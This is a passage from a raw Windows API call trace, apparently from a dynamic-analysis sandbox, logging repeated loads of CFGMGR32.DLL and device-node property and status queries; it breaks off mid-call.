(hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.302] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.302] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.302] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.303] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.303] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.303] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.304] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.304] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.304] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.304] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.304] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.305] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.305] malloc (_Size=0x18) returned 0x20abc281e00 [0232.306] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0232.306] malloc (_Size=0x14) returned 0x20abc281f80 [0232.306] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281f80, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281f80, pulLength=0x2dc22fd3f8) returned 0x0 [0232.306] free (_Block=0x20abc281f80) [0232.306] malloc (_Size=0x48) returned 0x20abc27cf80 [0232.306] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x463b4019, dwHighDateTime=0x1d9eb0c)) [0232.307] SetEvent (hEvent=0x248) returned 1 [0232.310] malloc (_Size=0x18) returned 0x20abc281c20 [0232.310] SafeArrayPutElement (psa=0x20abba80750, rgIndices=0x2dc22fd4c8, pv=0x20abba79a68) returned 0x0 [0232.310] free (_Block=0x20abc281c20) [0232.310] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0cbf0 [0232.310] SafeArrayGetDim (psa=0x20abba80750) returned 0x1 [0232.310] SafeArrayGetLBound (in: psa=0x20abba80750, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0232.310] SafeArrayGetUBound (in: psa=0x20abba80750, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0232.310] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba797f0 [0232.310] SafeArrayGetDim (psa=0x20abba80750) returned 0x1 [0232.310] SafeArrayGetUBound (in: psa=0x20abba80750, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0232.310] SafeArrayGetElemsize (psa=0x20abba80750) returned 0x8 [0232.310] SafeArrayGetElement (in: psa=0x20abba80750, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0232.311] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4020f0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0232.311] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba797f0) returned 1 [0232.311] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0cbf0) returned 1 [0232.312] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.312] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.313] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.313] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.313] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.313] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.313] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.313] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.313] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.314] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.314] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.314] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.314] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.314] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.314] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.314] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.315] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.315] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.315] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.315] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.315] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.315] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.316] malloc (_Size=0x18) returned 0x20abc281e40 [0232.316] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0232.324] malloc (_Size=0x48) returned 0x20abc27cf80 [0232.324] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x463da478, dwHighDateTime=0x1d9eb0c)) [0232.325] SetEvent (hEvent=0x248) returned 1 [0232.384] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.384] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.384] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.385] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.385] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.385] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.385] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.385] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.385] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.385] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.385] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.386] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.386] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.386] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.386] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.386] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.386] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.386] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.386] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.387] malloc (_Size=0x18) returned 0x20abc2820c0 [0232.388] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0232.388] malloc (_Size=0x48) returned 0x20abc27cf80 [0232.388] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x46472974, dwHighDateTime=0x1d9eb0c)) [0232.388] SetEvent (hEvent=0x248) returned 1 [0232.392] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.392] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.393] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.393] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.393] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.393] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.393] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.393] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.393] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.396] malloc (_Size=0x18) returned 0x20abc2819e0 [0232.397] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0232.397] malloc (_Size=0x48) returned 0x20abc27cb20 [0232.397] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x46498d17, dwHighDateTime=0x1d9eb0c)) [0232.397] SetEvent (hEvent=0x248) returned 1 [0232.401] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.401] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.402] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.402] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.402] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.402] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.402] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.402] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.402] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.403] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.403] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.403] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.403] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.403] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.403] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.403] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.404] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.404] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.404] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.404] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.404] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.404] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.404] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.405] malloc (_Size=0x18) returned 0x20abc281ba0 [0232.405] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0232.405] malloc (_Size=0x48) returned 0x20abc27cb20 [0232.405] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x46498d17, dwHighDateTime=0x1d9eb0c)) [0232.406] SetEvent (hEvent=0x248) returned 1 [0232.412] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.412] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.412] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.412] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.412] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.413] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.413] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.413] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.413] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.413] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.413] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.413] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.414] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.414] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.414] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.414] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.414] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.414] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.414] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.414] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.415] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.415] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.415] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.415] malloc (_Size=0x18) returned 0x20abc281960 [0232.415] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0232.477] malloc (_Size=0x48) returned 0x20abc27cb20 [0232.477] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4655783e, dwHighDateTime=0x1d9eb0c)) [0232.478] SetEvent (hEvent=0x248) returned 1 [0232.483] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.483] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.487] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.487] malloc (_Size=0x18) returned 0x20abc281fe0 [0232.487] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x1f, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0232.487] malloc (_Size=0x48) returned 0x20abc27cb20 [0232.487] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x4655783e, dwHighDateTime=0x1d9eb0c)) [0232.488] SetEvent (hEvent=0x248) returned 1 [0232.500] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.500] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.500] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.500] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.500] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.501] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.501] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.501] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.501] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.501] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.501] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.501] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.502] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.502] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.502] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.502] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.502] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.502] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.502] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.502] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.503] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.503] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.503] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.503] malloc (_Size=0x18) returned 0x20abc281d40 [0232.504] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x1f, ulFlags=0x4 | out: 